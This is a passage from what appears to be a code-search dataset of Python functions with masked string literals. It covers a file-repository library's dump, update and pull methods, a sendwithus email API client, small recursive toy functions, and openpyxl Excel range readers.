pickleable.\n       If a string is given, the string should include all the necessary imports\n       and a '$FILE_PATH' that replaces the absolute file path when the dumping will be performed.\\n\n       e.g. \"import numpy as np; np.savetxt(fname='$FILE_PATH', X=value, fmt='%.6e')\"\n    #. pull (None, string): The pulling method.\n       If None it will be set automatically to pickle and therefore the object must be pickleable.\n       If a string is given, the string should include all the necessary imports,\n       a '$FILE_PATH' that replaces the absolute file path when the dumping will be performed\n       and finally a PULLED_DATA variable.\\n\n       e.g \"import numpy as np; PULLED_DATA=np.loadtxt(fname='$FILE_PATH')\"\n    #. replace (boolean): Whether to replace any existing file with the same name if existing.\n    #. ACID (None, boolean): Whether to ensure the ACID (Atomicity, Consistency, Isolation, Durability)\n       properties of the repository upon dumping a file. This is ensured by dumping the file in\n       a temporary path first and then moving it to the desired path.\n       If None is given, repository ACID property will be used.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m50"}
{"signature": "def dump(self, *args, **kwargs):", "body": "self.dump_file(*args, **kwargs)<EOL>", "docstring": "Alias to dump_file", "id": "f13923:c0:m51"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def update_file(self, value, relativePath, name=None,<EOL>description=False, klass=False,<EOL>dump=False, pull=False,<EOL>ACID=None, verbose=False):<DEDENT>", "body": "<EOL>if ACID is None:<EOL><INDENT>ACID = self.__ACID<EOL><DEDENT>assert isinstance(ACID, bool), \"<STR_LIT>\"<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>if name is None:<EOL><INDENT>assert len(relativePath), \"<STR_LIT>\"<EOL>relativePath,name = os.path.split(relativePath)<EOL><DEDENT>fileInfoDict, errorMessage = self.get_file_info(relativePath, name)<EOL>assert fileInfoDict is not None, errorMessage<EOL>realPath = os.path.join(self.__path, relativePath)<EOL>if verbose:<EOL><INDENT>if not os.path.isfile( os.path.join(realPath, name) ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%os.path.join(realPath, name))<EOL><DEDENT><DEDENT>if not dump:<EOL><INDENT>dump = fileInfoDict[\"<STR_LIT>\"]<EOL><DEDENT>if not pull:<EOL><INDENT>pull = fileInfoDict[\"<STR_LIT>\"]<EOL><DEDENT>if ACID:<EOL><INDENT>savePath = os.path.join(tempfile.gettempdir(), name)<EOL><DEDENT>else:<EOL><INDENT>savePath = os.path.join(realPath,name)<EOL><DEDENT>try:<EOL><INDENT>exec( dump.replace(\"<STR_LIT>\", str(savePath)) )<EOL><DEDENT>except Exception as e:<EOL><INDENT>message = \"<STR_LIT>\"%e<EOL>if '<STR_LIT>' in dump:<EOL><INDENT>message += '<STR_LIT>'%str(get_pickling_errors(value))<EOL><DEDENT>raise Exception( message )<EOL><DEDENT>if ACID:<EOL><INDENT>try:<EOL><INDENT>shutil.copyfile(savePath, os.path.join(realPath,name))<EOL><DEDENT>except Exception as e:<EOL><INDENT>os.remove(savePath)<EOL>if verbose:<EOL><INDENT>warnings.warn(e)<EOL><DEDENT>return<EOL><DEDENT>os.remove(savePath)<EOL><DEDENT>fileInfoDict[\"<STR_LIT>\"] = datetime.utcnow()<EOL>if description is not False:<EOL><INDENT>fileInfoDict[\"<STR_LIT:description>\"] = description<EOL><DEDENT>if klass is not False:<EOL><INDENT>assert inspect.isclass(klass), \"<STR_LIT>\"<EOL>fileInfoDict[\"<STR_LIT:class>\"] = klass<EOL><DEDENT>self.save()<EOL>", "docstring": "Update the value and the utc timestamp of a file that is already in the Repository.\\n\nIf file is not registered in repository, and error will be thrown.\\n\nIf file is missing in the system, it will be regenerated as dump method is called.\n\n:Parameters:\n    #. value (object): The value of the file to update. It is any python object or a file.\n    #. relativePath (str): The relative to the repository path of the directory where the file should be dumped.\n    #. name (None, string): The file name.\n       If None is given, name will be split from relativePath.\n    #. description (False, string, pickable object): Any random description about the file.\n       If False is given, the description info won't be updated,\n       otherwise it will be update to what description argument value is.\n    #. klass (False, class): The dumped object class. If False is given,\n       the class info won't be updated, otherwise it will be update to what klass argument value is.\n    #. dump (False, string): The new dump method. If False is given, the old one will be used.\n    #. pull (False, string): The new pull method. If False is given, the old one will be used.\n    #. ACID (boolean): Whether to ensure the ACID (Atomicity, Consistency, Isolation, Durability)\n       properties of the repository upon dumping a file. This is ensured by dumping the file in\n       a temporary path first and then moving it to the desired path.\n       If None is given, repository ACID property will be used.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m52"}
{"signature": "def update(self, *args, **kwargs):", "body": "self.update_file(*args, **kwargs)<EOL>", "docstring": "Alias to update_file", "id": "f13923:c0:m53"}
{"signature": "def pull_file(self, relativePath, name=None, pull=None, update=True):", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>if name is None:<EOL><INDENT>assert len(relativePath), \"<STR_LIT>\"<EOL>relativePath,name = os.path.split(relativePath)<EOL><DEDENT>fileInfo, errorMessage = self.get_file_info(relativePath, name)<EOL>assert fileInfo is not None, errorMessage<EOL>realPath = os.path.join(self.__path, relativePath)<EOL>assert os.path.exists(realPath), \"<STR_LIT>\"%(relativePath, self.__path)<EOL>fileAbsPath = os.path.join(realPath, name)<EOL>assert os.path.isfile(fileAbsPath), \"<STR_LIT>\"%(name,realPath)<EOL>if pull is None:<EOL><INDENT>pull = fileInfo[\"<STR_LIT>\"]<EOL><DEDENT>try:<EOL><INDENT>namespace = {}<EOL>namespace.update( globals() )<EOL>exec( pull.replace(\"<STR_LIT>\", str(os.path.join(realPath,name)) ), namespace )<EOL><DEDENT>except Exception as e:<EOL><INDENT>m = pull.replace(\"<STR_LIT>\", str(os.path.join(realPath,name)) )<EOL>raise Exception( \"<STR_LIT>\"%(m,e) )<EOL><DEDENT>if update:<EOL><INDENT>fileInfo[\"<STR_LIT>\"] = pull<EOL><DEDENT>return namespace['<STR_LIT>']<EOL>", "docstring": "Pull a file's data from the Repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory where the file should be pulled.\n    #. name (string): The file name.\n       If None is given, name will be split from relativePath.\n    #. pull (None, string): The pulling method.\n       If None, the pull method saved in the file info will be used.\n       If a string is given, the string should include all the necessary imports,\n       a '$FILE_PATH' that replaces the absolute file path when the dumping will be performed\n       and finally a PULLED_DATA variable.\n       e.g \"import numpy as np; PULLED_DATA=np.loadtxt(fname='$FILE_PATH')\"\n    #. update (boolean): If pull is not None, Whether to update the pull method stored in the file info by the given pull method.\n\n:Returns:\n    #. data (object): The pulled data from the file.", "id": "f13923:c0:m54"}
{"signature": "def pull(self, *args, **kwargs):", "body": "return self.pull_file(*args, **kwargs)<EOL>", "docstring": "Alias to pull_file", "id": "f13923:c0:m55"}
{"signature": "def get_version():", "body": "return __version__<EOL>", "docstring": "Get pyrep's version number.", "id": "f13924:m0"}
{"signature": "def get_author():", "body": "return __author__<EOL>", "docstring": "Get pyrep's author's name.", "id": "f13924:m1"}
{"signature": "def get_email():", "body": "return __email__<EOL>", "docstring": "Get pyrep's author's email.", "id": "f13924:m2"}
{"signature": "def get_doc():", "body": "return __onlinedoc__<EOL>", "docstring": "Get pyrep's official online documentation link.", "id": "f13924:m3"}
{"signature": "def get_repository():", "body": "return __repository__<EOL>", "docstring": "Get pyrep's official online repository link.", "id": "f13924:m4"}
{"signature": "def get_pypi():", "body": "return __pypi__<EOL>", "docstring": "Get pyrep pypi's link.", "id": "f13924:m5"}
{"signature": "def __init__(<EOL>self,<EOL>api_key=None,<EOL>json_encoder=SendwithusJSONEncoder,<EOL>raise_errors=False,<EOL>default_timeout=None,<EOL>**kwargs<EOL>):", "body": "if not api_key:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.API_KEY = api_key<EOL>self.DEFAULT_TIMEOUT = default_timeout<EOL>self._json_encoder = json_encoder<EOL>self._raise_errors = raise_errors<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.API_HOST = kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.API_PROTO = kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.API_PORT = kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.API_VERSION = kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.DEBUG = kwargs['<STR_LIT>']<EOL><DEDENT>if self.DEBUG:<EOL><INDENT>logging.basicConfig(format=LOGGER_FORMAT, level=logging.DEBUG)<EOL>logger.debug('<STR_LIT>')<EOL>logger.propagate = True<EOL><DEDENT>", "docstring": "Constructor, expects api key", "id": "f13929:c0:m0"}
{"signature": "def _parse_response(self, response):", "body": "if not self._raise_errors:<EOL><INDENT>return response<EOL><DEDENT>is_4xx_error = str(response.status_code)[<NUM_LIT:0>] == '<STR_LIT:4>'<EOL>is_5xx_error = str(response.status_code)[<NUM_LIT:0>] == '<STR_LIT:5>'<EOL>content = response.content<EOL>if response.status_code == <NUM_LIT>:<EOL><INDENT>raise AuthenticationError(content)<EOL><DEDENT>elif is_4xx_error:<EOL><INDENT>raise APIError(content)<EOL><DEDENT>elif is_5xx_error:<EOL><INDENT>raise ServerError(content)<EOL><DEDENT>return response<EOL>", "docstring": "Parses the API response and raises appropriate errors if\n        raise_errors was set to True", "id": "f13929:c0:m5"}
{"signature": "def _api_request(self, endpoint, http_method, *args, **kwargs):", "body": "logger.debug('<STR_LIT>' % endpoint)<EOL>auth = self._build_http_auth()<EOL>headers = self._build_request_headers(kwargs.get('<STR_LIT>'))<EOL>logger.debug('<STR_LIT>' % headers)<EOL>path = self._build_request_path(endpoint)<EOL>logger.debug('<STR_LIT>' % path)<EOL>data = self._build_payload(kwargs.get('<STR_LIT>'))<EOL>if not data:<EOL><INDENT>data = kwargs.get('<STR_LIT:data>')<EOL><DEDENT>logger.debug('<STR_LIT>' % data)<EOL>req_kw = dict(<EOL>auth=auth,<EOL>headers=headers,<EOL>timeout=kwargs.get('<STR_LIT>', self.DEFAULT_TIMEOUT)<EOL>)<EOL>if (http_method == self.HTTP_POST):<EOL><INDENT>if (data):<EOL><INDENT>r = requests.post(path, data=data, **req_kw)<EOL><DEDENT>else:<EOL><INDENT>r = requests.post(path, **req_kw)<EOL><DEDENT><DEDENT>elif http_method == self.HTTP_PUT:<EOL><INDENT>if (data):<EOL><INDENT>r = requests.put(path, data=data, **req_kw)<EOL><DEDENT>else:<EOL><INDENT>r = requests.put(path, **req_kw)<EOL><DEDENT><DEDENT>elif http_method == self.HTTP_DELETE:<EOL><INDENT>r = requests.delete(path, **req_kw)<EOL><DEDENT>else:<EOL><INDENT>r = requests.get(path, **req_kw)<EOL><DEDENT>logger.debug('<STR_LIT>' % r.status_code)<EOL>try:<EOL><INDENT>logger.debug('<STR_LIT>' % r.json())<EOL><DEDENT>except:<EOL><INDENT>logger.debug('<STR_LIT>' % r.content)<EOL><DEDENT>return self._parse_response(r)<EOL>", "docstring": "Private method for api requests", "id": "f13929:c0:m6"}
{"signature": "def get_log(self, log_id, timeout=None):", "body": "return self._api_request(<EOL>self.GET_LOG_ENDPOINT % log_id,<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to get a specific log entry", "id": "f13929:c0:m7"}
{"signature": "def get_log_events(self, log_id, timeout=None):", "body": "return self._api_request(<EOL>self.GET_LOG_EVENTS_ENDPOINT % log_id,<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to get a specific log entry", "id": "f13929:c0:m8"}
{"signature": "def emails(self):", "body": "return self.templates()<EOL>", "docstring": "[DEPRECATED] API call to get a list of emails", "id": "f13929:c0:m9"}
{"signature": "def templates(self, timeout=None):", "body": "return self._api_request(<EOL>self.TEMPLATES_ENDPOINT,<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to get a list of templates", "id": "f13929:c0:m10"}
{"signature": "def get_template(self, template_id, version=None, timeout=None):", "body": "if (version):<EOL><INDENT>return self._api_request(<EOL>self.TEMPLATES_VERSION_ENDPOINT % (template_id, version),<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return self._api_request(<EOL>self.TEMPLATES_SPECIFIC_ENDPOINT % template_id,<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL><DEDENT>", "docstring": "API call to get a specific template", "id": "f13929:c0:m11"}
{"signature": "def create_email(self, name, subject, html, text='<STR_LIT>'):", "body": "return self.create_template(name, subject, html, text)<EOL>", "docstring": "[DECPRECATED] API call to create an email", "id": "f13929:c0:m12"}
{"signature": "def create_template(<EOL>self,<EOL>name,<EOL>subject,<EOL>html,<EOL>text='<STR_LIT>',<EOL>timeout=None<EOL>):", "body": "payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': subject,<EOL>'<STR_LIT:html>': html,<EOL>'<STR_LIT:text>': text<EOL>}<EOL>return self._api_request(<EOL>self.TEMPLATES_ENDPOINT,<EOL>self.HTTP_POST,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to create a template", "id": "f13929:c0:m13"}
{"signature": "def create_new_locale(<EOL>self,<EOL>template_id,<EOL>locale,<EOL>version_name,<EOL>subject,<EOL>text='<STR_LIT>',<EOL>html='<STR_LIT>',<EOL>timeout=None<EOL>):", "body": "payload = {<EOL>'<STR_LIT>': locale,<EOL>'<STR_LIT:name>': version_name,<EOL>'<STR_LIT>': subject<EOL>}<EOL>if html:<EOL><INDENT>payload['<STR_LIT:html>'] = html<EOL><DEDENT>if text:<EOL><INDENT>payload['<STR_LIT:text>'] = text<EOL><DEDENT>return self._api_request(<EOL>self.TEMPLATES_LOCALES_ENDPOINT % template_id,<EOL>self.HTTP_POST,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to create a new locale and version of a template", "id": "f13929:c0:m14"}
{"signature": "def create_new_version(<EOL>self,<EOL>name,<EOL>subject,<EOL>text='<STR_LIT>',<EOL>template_id=None,<EOL>html=None,<EOL>locale=None,<EOL>timeout=None<EOL>):", "body": "if(html):<EOL><INDENT>payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': subject,<EOL>'<STR_LIT:html>': html,<EOL>'<STR_LIT:text>': text<EOL>}<EOL><DEDENT>else:<EOL><INDENT>payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': subject,<EOL>'<STR_LIT:text>': text<EOL>}<EOL><DEDENT>if locale:<EOL><INDENT>url = self.TEMPLATES_SPECIFIC_LOCALE_VERSIONS_ENDPOINT % (<EOL>template_id,<EOL>locale<EOL>)<EOL><DEDENT>else:<EOL><INDENT>url = self.TEMPLATES_NEW_VERSION_ENDPOINT % template_id<EOL><DEDENT>return self._api_request(<EOL>url,<EOL>self.HTTP_POST,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to create a new version of a template", "id": "f13929:c0:m15"}
{"signature": "def update_template_version(<EOL>self,<EOL>name,<EOL>subject,<EOL>template_id,<EOL>version_id,<EOL>text='<STR_LIT>',<EOL>html=None,<EOL>timeout=None<EOL>):", "body": "if(html):<EOL><INDENT>payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': subject,<EOL>'<STR_LIT:html>': html,<EOL>'<STR_LIT:text>': text<EOL>}<EOL><DEDENT>else:<EOL><INDENT>payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': subject,<EOL>'<STR_LIT:text>': text<EOL>}<EOL><DEDENT>return self._api_request(<EOL>self.TEMPLATES_VERSION_ENDPOINT % (template_id, version_id),<EOL>self.HTTP_PUT,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to update a template version", "id": "f13929:c0:m16"}
{"signature": "def snippets(self, timeout=None):", "body": "return self._api_request(<EOL>self.SNIPPETS_ENDPOINT,<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to get list of snippets", "id": "f13929:c0:m17"}
{"signature": "def get_snippet(self, snippet_id, timeout=None):", "body": "return self._api_request(<EOL>self.SNIPPET_ENDPOINT % (snippet_id),<EOL>self.HTTP_GET,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to get a specific Snippet", "id": "f13929:c0:m18"}
{"signature": "def create_snippet(self, name, body, timeout=None):", "body": "payload = {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT:body>': body<EOL>}<EOL>return self._api_request(<EOL>self.SNIPPETS_ENDPOINT,<EOL>self.HTTP_POST,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to create a Snippet", "id": "f13929:c0:m19"}
{"signature": "def _make_file_dict(self, f):", "body": "if isinstance(f, dict):<EOL><INDENT>file_obj = f['<STR_LIT:file>']<EOL>if '<STR_LIT:filename>' in f:<EOL><INDENT>file_name = f['<STR_LIT:filename>']<EOL><DEDENT>else:<EOL><INDENT>file_name = file_obj.name<EOL><DEDENT><DEDENT>else:<EOL><INDENT>file_obj = f<EOL>file_name = f.name<EOL><DEDENT>b64_data = base64.b64encode(file_obj.read())<EOL>return {<EOL>'<STR_LIT:id>': file_name,<EOL>'<STR_LIT:data>': b64_data.decode() if six.PY3 else b64_data,<EOL>}<EOL>", "docstring": "Make a dictionary with filename and base64 file data", "id": "f13929:c0:m24"}
{"signature": "def send(<EOL>self,<EOL>email_id,<EOL>recipient,<EOL>email_data=None,<EOL>sender=None,<EOL>cc=None,<EOL>bcc=None,<EOL>tags=[],<EOL>headers={},<EOL>esp_account=None,<EOL>locale=None,<EOL>email_version_name=None,<EOL>inline=None,<EOL>files=[],<EOL>timeout=None<EOL>):", "body": "if not email_data:<EOL><INDENT>email_data = {}<EOL><DEDENT>if isinstance(recipient, string_types):<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>recipient = {'<STR_LIT:address>': recipient}<EOL><DEDENT>payload = {<EOL>'<STR_LIT>': email_id,<EOL>'<STR_LIT>': recipient,<EOL>'<STR_LIT>': email_data<EOL>}<EOL>if sender:<EOL><INDENT>payload['<STR_LIT>'] = sender<EOL><DEDENT>if cc:<EOL><INDENT>if not type(cc) == list:<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % type(cc))<EOL><DEDENT>payload['<STR_LIT>'] = cc<EOL><DEDENT>if bcc:<EOL><INDENT>if not type(bcc) == list:<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % type(bcc))<EOL><DEDENT>payload['<STR_LIT>'] = bcc<EOL><DEDENT>if tags:<EOL><INDENT>if not type(tags) == list:<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % (type(tags)))<EOL><DEDENT>payload['<STR_LIT>'] = tags<EOL><DEDENT>if headers:<EOL><INDENT>if not type(headers) == dict:<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % (<EOL>type(headers)<EOL>)<EOL>)<EOL><DEDENT>payload['<STR_LIT>'] = headers<EOL><DEDENT>if esp_account:<EOL><INDENT>if not isinstance(esp_account, string_types):<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % (<EOL>type(esp_account)<EOL>)<EOL>)<EOL><DEDENT>payload['<STR_LIT>'] = esp_account<EOL><DEDENT>if locale:<EOL><INDENT>if not isinstance(locale, string_types):<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % (type(locale))<EOL>)<EOL><DEDENT>payload['<STR_LIT>'] = locale<EOL><DEDENT>if email_version_name:<EOL><INDENT>if not isinstance(email_version_name, string_types):<EOL><INDENT>logger.error(<EOL>'<STR_LIT>' % (<EOL>type(email_version_name)))<EOL><DEDENT>payload['<STR_LIT>'] = email_version_name<EOL><DEDENT>if inline:<EOL><INDENT>payload['<STR_LIT>'] = self._make_file_dict(inline)<EOL><DEDENT>if files:<EOL><INDENT>payload['<STR_LIT>'] = [self._make_file_dict(f) for f in files]<EOL><DEDENT>return self._api_request(<EOL>self.SEND_ENDPOINT,<EOL>self.HTTP_POST,<EOL>payload=payload,<EOL>timeout=timeout<EOL>)<EOL>", "docstring": "API call to send an email", "id": "f13929:c0:m25"}
{"signature": "def _api_request(self, endpoint, http_method, *args, **kwargs):", "body": "logger.debug('<STR_LIT>' % endpoint)<EOL>path = self._build_request_path(endpoint, absolute=False)<EOL>logger.debug('<STR_LIT>' % path)<EOL>data = None<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>data = kwargs['<STR_LIT>']<EOL><DEDENT>logger.debug('<STR_LIT>' % data)<EOL>command = {<EOL>\"<STR_LIT:path>\": path,<EOL>\"<STR_LIT>\": http_method<EOL>}<EOL>if data:<EOL><INDENT>command['<STR_LIT:body>'] = data<EOL><DEDENT>self._commands.append(command)<EOL>", "docstring": "Private method for api requests", "id": "f13929:c1:m1"}
{"signature": "def execute(self, timeout=None):", "body": "logger.debug('<STR_LIT>' % len(self._commands))<EOL>auth = self._build_http_auth()<EOL>headers = self._build_request_headers()<EOL>logger.debug('<STR_LIT>' % headers)<EOL>logger.debug('<STR_LIT>' % len(self._commands))<EOL>path = self._build_request_path(self.BATCH_ENDPOINT)<EOL>data = json.dumps(self._commands, cls=self._json_encoder)<EOL>r = requests.post(<EOL>path,<EOL>auth=auth,<EOL>headers=headers,<EOL>data=data,<EOL>timeout=(self.DEFAULT_TIMEOUT if timeout is None else timeout)<EOL>)<EOL>self._commands = []<EOL>logger.debug('<STR_LIT>' % r.status_code)<EOL>try:<EOL><INDENT>logger.debug('<STR_LIT>' % r.json())<EOL><DEDENT>except:<EOL><INDENT>logger.debug('<STR_LIT>' % r.content)<EOL><DEDENT>return r<EOL>", "docstring": "Execute all currently queued batch commands", "id": "f13929:c1:m2"}
{"signature": "def foo(n):", "body": "if n == <NUM_LIT:0>:<EOL><INDENT>return n<EOL><DEDENT>else:<EOL><INDENT>return foo(n - <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return 0 for all n >= 0", "id": "f13971:m0"}
{"signature": "def baz(n):", "body": "return True<EOL>", "docstring": "Return True", "id": "f13971:m1"}
{"signature": "def foo(n):", "body": "if n == <NUM_LIT:1>:<EOL><INDENT>return n<EOL><DEDENT>else:<EOL><INDENT>return foo(n - <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return 1 for all n >= 0", "id": "f13972:m0"}
{"signature": "def bar(n):", "body": "if n == <NUM_LIT:2>:<EOL><INDENT>return n<EOL><DEDENT>else:<EOL><INDENT>return foo(n)<EOL><DEDENT>", "docstring": "Return 2 for all n >= 0", "id": "f13972:m1"}
{"signature": "def _get_col_index(name):", "body": "index = string.ascii_uppercase.index<EOL>col = <NUM_LIT:0><EOL>for c in name.upper():<EOL><INDENT>col = col * <NUM_LIT> + index(c) + <NUM_LIT:1><EOL><DEDENT>return col<EOL>", "docstring": "Convert column name to index.", "id": "f13974:m0"}
{"signature": "def _get_range(book, range_, sheet):", "body": "filename = None<EOL>if isinstance(book, str):<EOL><INDENT>filename = book<EOL>book = opxl.load_workbook(book, data_only=True)<EOL><DEDENT>elif isinstance(book, opxl.Workbook):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>if _is_range_address(range_):<EOL><INDENT>sheet_names = [name.upper() for name in book.sheetnames]<EOL>index = sheet_names.index(sheet.upper())<EOL>data = book.worksheets[index][range_]<EOL><DEDENT>else:<EOL><INDENT>data = _get_namedrange(book, range_, sheet)<EOL>if data is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (range_, filename or book)<EOL>)<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Return a range as nested dict of openpyxl cells.", "id": "f13974:m2"}
{"signature": "def read_range(filepath, range_expr, sheet=None, dict_generator=None):", "body": "def default_generator(cells):<EOL><INDENT>for row_ind, row in enumerate(cells):<EOL><INDENT>for col_ind, cell in enumerate(row):<EOL><INDENT>yield (row_ind, col_ind), cell.value<EOL><DEDENT><DEDENT><DEDENT>book = opxl.load_workbook(filepath, data_only=True)<EOL>if _is_range_address(range_expr):<EOL><INDENT>sheet_names = [name.upper() for name in book.sheetnames]<EOL>index = sheet_names.index(sheet.upper())<EOL>cells = book.worksheets[index][range_expr]<EOL><DEDENT>else:<EOL><INDENT>cells = _get_namedrange(book, range_expr, sheet)<EOL><DEDENT>if isinstance(cells, opxl.cell.Cell):<EOL><INDENT>return cells.value<EOL><DEDENT>if dict_generator is None:<EOL><INDENT>dict_generator = default_generator<EOL><DEDENT>gen = dict_generator(cells)<EOL>return {keyval[<NUM_LIT:0>]: keyval[<NUM_LIT:1>] for keyval in gen}<EOL>", "docstring": "Read values from an Excel range into a dictionary.\n\n    `range_expr` ie either a range address string, such as \"A1\", \"$C$3:$E$5\",\n    or a defined name string for a range, such as \"NamedRange1\".\n    If a range address is provided, `sheet` argument must also be provided.\n    If a named range is provided and `sheet` is not, book level defined name\n    is searched. If `sheet` is also provided, sheet level defined name for the\n    specified `sheet` is searched.\n    If range_expr points to a single cell, its value is returned.\n\n    `dictgenerator` is a generator function that yields keys and values of \n    the returned dictionary. the excel range, as a nested tuple of openpyxl's\n    Cell objects, is passed to the generator function as its single argument.\n    If not specified, default generator is used, which maps tuples of row and\n    column indexes, both starting with 0, to their values.\n\n    Args:\n        filepath (str): Path to an Excel file.\n        range_epxr (str): Range expression, such as \"A1\", \"$G4:$K10\", \n            or named range \"NamedRange1\"\n        sheet (str): Sheet name (case ignored).\n            None if book level defined range name is passed as `range_epxr`.\n        dict_generator: A generator function taking a nested tuple of cells \n            as a single parameter.\n\n    Returns:\n        Nested list containing range values.", "id": "f13974:m3"}
{"signature": "def _get_namedrange(book, rangename, sheetname=None):", "body": "def cond(namedef):<EOL><INDENT>if namedef.type.upper() == \"<STR_LIT>\":<EOL><INDENT>if namedef.name.upper() == rangename.upper():<EOL><INDENT>if sheetname is None:<EOL><INDENT>if not namedef.localSheetId:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>sheet_id = [sht.upper() for sht in book.sheetnames].index(<EOL>sheetname.upper()<EOL>)<EOL>if namedef.localSheetId == sheet_id:<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL><DEDENT>def get_destinations(name_def):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>from openpyxl.formula import Tokenizer<EOL>from openpyxl.utils.cell import SHEETRANGE_RE<EOL>if name_def.type == \"<STR_LIT>\":<EOL><INDENT>tok = Tokenizer(\"<STR_LIT:=>\" + name_def.value)<EOL>for part in tok.items:<EOL><INDENT>if part.subtype == \"<STR_LIT>\":<EOL><INDENT>m = SHEETRANGE_RE.match(part.value)<EOL>if m.group(\"<STR_LIT>\"):<EOL><INDENT>sheet_name = m.group(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>sheet_name = m.group(\"<STR_LIT>\")<EOL><DEDENT>yield sheet_name, m.group(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>namedef = next(<EOL>(item for item in book.defined_names.definedName if cond(item)), None<EOL>)<EOL>if namedef is None:<EOL><INDENT>return None<EOL><DEDENT>dests = get_destinations(namedef)<EOL>xlranges = []<EOL>sheetnames_upper = [name.upper() for name in book.sheetnames]<EOL>for sht, addr in dests:<EOL><INDENT>if sheetname:<EOL><INDENT>sht = sheetname<EOL><DEDENT>index = sheetnames_upper.index(sht.upper())<EOL>xlranges.append(book.worksheets[index][addr])<EOL><DEDENT>if len(xlranges) == <NUM_LIT:1>:<EOL><INDENT>return xlranges[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return xlranges<EOL><DEDENT>", "docstring": "Get range from a workbook.\n\n    A workbook can contain multiple definitions for a single name,\n    as a name can be defined for the entire book or for\n    a particular sheet.\n\n    If sheet is None, the book-wide def is searched,\n    otherwise sheet-local def is looked up.\n\n    Args:\n        book: An openpyxl workbook object.\n        rangename (str): Range expression, such as \"A1\", \"$G4:$K10\",\n            named range \"NamedRange1\".\n        sheetname (str, optional): None for book-wide name def,\n            sheet name for sheet-local named range.\n\n    Returns:\n        Range object specified by the name.", "id": "f13974:m4"}
